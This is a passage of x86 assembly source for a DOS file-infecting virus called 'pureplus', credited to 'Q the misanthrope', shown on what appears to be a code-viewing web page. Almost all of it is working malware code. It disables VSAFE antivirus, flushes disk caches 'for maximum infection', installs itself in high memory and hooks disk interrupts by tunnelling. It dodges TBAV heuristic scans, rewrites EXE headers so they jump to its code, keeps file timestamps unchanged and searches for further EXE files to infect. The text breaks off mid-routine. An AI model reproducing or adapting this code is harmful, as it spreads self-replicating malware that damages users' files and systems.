📄 pureplus.asm
字号:
cseg segment para public 'code'
pureplus proc near
assume cs:cseg
;-----------------------------------------------------------------------------
;designed by "Q" the misanthrope.
;-----------------------------------------------------------------------------
.186
ALLOCATE_HMA equ 04a02h
CLOSE_HANDLE equ 03e00h
COMMAND_LINE equ 080h
COM_OFFSET equ 00100h
CRITICAL_INT equ 024h
DENY_NONE equ 040h
DONT_SET_OFFSET equ 006h
DONT_SET_TIME equ 040h
DOS_INT equ 021h
DOS_SET_INT equ 02500h
EIGHTEEN_BYTES equ 012h
ENVIRONMENT equ 02ch
EXEC_PROGRAM equ 04b00h
EXE_SECTOR_SIZE equ 004h
EXE_SIGNATURE equ 'ZM'
FAIL equ 003h
FAR_INDEX_CALL equ 01effh
FILENAME_OFFSET equ 0001eh
FILE_OPEN_MODE equ 002h
FIND_FIRST equ 04e00h
FIND_NEXT equ 04f00h
FIRST_FCB equ 05ch
FLUSH_BUFFERS equ 00d00h
FOUR_BYTES equ 004h
GET_DTA equ 02f00h
GET_ERROR_LEVEL equ 04d00h
HARD_DISK_ONE equ 081h
HIDDEN equ 002h
HIGH_BYTE equ 00100h
HMA_SEGMENT equ 0ffffh
INT_13_VECTOR equ 0004ch
JOB_FILE_TABLE equ 01220h
KEEP_CF_INTACT equ 002h
KEYBOARD_INT equ 016h
MAX_SECTORS equ 078h
MULTIPLEX_INT equ 02fh
NEW_EXE_HEADER equ 00040h
NEW_EXE_OFFSET equ 018h
NULL equ 00000h
ONLY_READ equ 000h
ONLY_WRITE equ 001h
ONE_BYTE equ 001h
OPEN_W_HANDLE equ 03d00h
PARAMETER_TABLE equ 001f1h
READ_A_SECTOR equ 00201h
READ_ONLY equ 001h
READ_W_HANDLE equ 03f00h
REMOVE_NOP equ 001h
RESET_CACHE equ 00001h
RESIZE_MEMORY equ 04a00h
SECOND_FCB equ 06ch
SECTOR_SIZE equ 00200h
SETVER_SIZE equ 018h
SHORT_JUMP equ 0ebh
SIX_BYTES equ 006h
SMARTDRV equ 04a10h
SYSTEM equ 004h
SYS_FILE_TABLE equ 01216h
TERMINATE_W_ERR equ 04c00h
THREE_BYTES equ 003h
TWENTY_HEX equ 020h
TWENTY_THREE equ 017h
TWO_BYTES equ 002h
UNINSTALL equ 05945h
UN_SINGLE_STEP equ not(00100h)
VERIFY_3SECTORS equ 00403h
VOLUME_LABEL equ 008h
VSAFE equ 0fa01h
WRITE_A_SECTOR equ 00301h
WRITE_W_HANDLE equ 04000h
XOR_CODE equ (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
PURE_CODE_IS_AT equ 00147h
;-----------------------------------------------------------------------------
bios_seg segment at 0f000h ;just some dummy area that was needed
org 00000h ;to have the compilier make a far jmp
old_int_13_addr label word ;directive EAh later on
bios_seg ends
;-----------------------------------------------------------------------------
org COM_OFFSET ;com files seem to always start here
com_code:
;-----------------------------------------------------------------------------
jmp short disable_vsafe
;-----------------------------------------------------------------------------
dummy_exe_head dw SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT
dw NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
;simple EXE header that we have imbedded the virii into
;-----------------------------------------------------------------------------
org PURE_CODE_IS_AT ;here because many exe files have 00's after this location
;-----------------------------------------------------------------------------
ax_cx_di_si_cld proc near ;sets varables for modifying sector
mov di,bx ;ES:BX is int 13 sector set di to bx
add di,PURE_CODE_IS_AT-COM_OFFSET
ax_cx_si_cld: call set_si ;get location of code in HMA
set_si: pop si ;and subtract the offset
sub si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
mov cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
mov ax,XOR_CODE ;ah is value to xor MZ to jmp 015C
das ;set zero flag for the compare later on
cld ;clear direction
ret
ax_cx_di_si_cld endp
;-----------------------------------------------------------------------------
org high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
;must be here because the MZ 4Dh,5Ah
;.EXE header identifier gets changed to
;jmp 015C EAh,5Ah by changing one byte
;-----------------------------------------------------------------------------
disable_vsafe proc near ;while we are here lets allow other virii
mov dx,UNINSTALL ;it sure is nice to have a simple
mov ax,VSAFE ;call to do this
int KEYBOARD_INT
disable_vsafe endp
;-----------------------------------------------------------------------------
alloc_memory proc near ;clear disk buffers so reads are done
mov ah,high(FLUSH_BUFFERS)
int DOS_INT ;from disk and not from memory
xor di,di ;set it to zero
mov ds,di ;to set the DS there
mov bh,high(SECTOR_SIZE)
dec di ;now set it to FFFFh
mov ax,ALLOCATE_HMA ;lets see how much memory is available
int MULTIPLEX_INT ;in the HMA - ES:DI points to begining
mov ax,SMARTDRV ;lets flush smartdrv as well for maximum
mov bx,RESET_CACHE ;infection. it sure is nice to have
int MULTIPLEX_INT ;a simple call to do this
mov bl,SIX_BYTES ;for setting int 1 to tunnel
inc di ;if dos <5.0 or no HMA di is FFFFh
jz find_name ;if no memory don't install
call ax_cx_si_cld ;get varables for copy to HMA
rep movs byte ptr es:[di],cs:[si]
alloc_memory endp ;then copy it to ES:DI in HMA
;-----------------------------------------------------------------------------
set_int_13 proc near ;setting int 1 vectors for tunnelling
mov ax,offset interrupt_one
xchg word ptr ds:[bx-TWO_BYTES],ax
push ax ;great way to set interrupts
push word ptr ds:[bx];just push them on the stack for latter
mov word ptr ds:[bx],cs
xchg cx,di ;cx was 0, di was last byte of HMA code
mov dl,HARD_DISK_ONE;doesn't really matter which drive
pushf ;save the flags with TF cleared
pushf ;push flags for simulated int 13 call
pushf ;push flags for setting TF
mov bp,sp ;get the stack pointer
mov ax,VERIFY_3SECTORS
or byte ptr ss:[bp+ONE_BYTE],al
popf ;set TF and direction and call int 13
dw FAR_INDEX_CALL,INT_13_VECTOR
popf ;restore flags
pop word ptr ds:[bx];and int 1 vectors back
pop word ptr ds:[bx-TWO_BYTES]
set_int_13 endp ;now int 13 has our code hooked into it
;-----------------------------------------------------------------------------
find_name proc near ;now lets find out who we are to reload
mov ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
look_for_nulls: inc bx ;ourselves to see if we are cleaned on the fly
cmp word ptr ds:[bx-FOUR_BYTES],di
jne look_for_nulls ;the plan is to goto the end of our
find_name endp ;environment and look for 2 nulls
;-----------------------------------------------------------------------------
open_file proc near ;open current program and read header
push ds ;to see if the header was restored back
push bx ;save the program name on the stack
mov ch,THREE_BYTES ;read in 768 bytes of header
call open_n_read_exe ;open, read cx bytes, close file ds:bx
push cs ;set es to cs for compare of sector
pop es ;to infected sector
mov bx,dx ;get varables set correctly for compare
call convert_back ;compare them and convert them back
pop dx ;get file name again
pop ds
jne now_run_it ;if int 13 converted it back then run it
push ds ;else save file name again on stack
push dx
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
call call_dos ;open current program for reads (don't set any alarms)
push bx ;save handle
int MULTIPLEX_INT ;get job file table for handle
mov dx,SYS_FILE_TABLE
xchg ax,dx ;done like this for anti TBAV hueristic scan
mov bl,byte ptr es:[di]
int MULTIPLEX_INT ;get SFT of handle to change ES:DI
pop bx ;get handle again
mov ch,high(SECTOR_SIZE)
mov ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
cmpsw ;simple code to change open file to
stosb ;write back the cleaned header to file
mov dx,offset critical_error+COM_OFFSET
int DOS_INT ;this cleans the file if virii didn't load in HMA
or byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
call reclose_it ;set SFT to not change file date and time at close
pop dx ;get file name again from the stack
pop ds
open_file endp
;-----------------------------------------------------------------------------
now_run_it proc near ;setup the exec of current program again
push cs ;like a spawned file
pop es ;es now cs
mov bx,offset exec_table
mov ah,high(RESIZE_MEMORY)
int DOS_INT ;first resize memory
mov si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
xchg bx,si ;set si to where the table varables are
mov di,bx ;set di to where 14 byte exec table is to be made
mov ax,EXEC_PROGRAM ;set ax for file execute
set_table: scasw ;advance 2 bytes in destination table
movs byte ptr es:[di],cs:[si]
scasb ;move a byte then check if next byte is nonzero
mov word ptr cs:[di],cs
je set_table ;fill in the code segment into table and jmp if still zero
call call_dos ;exec program again
mov ax,FIND_FIRST ;need to infect more EXE files
mov dx,offset exe_file_mask
mov cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
find_next_file: call call_dos ;set cx to 15 to loop that many times
mov ah,high(GET_DTA);what was the old dta no need to set up a new one
int DOS_INT ;get it
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -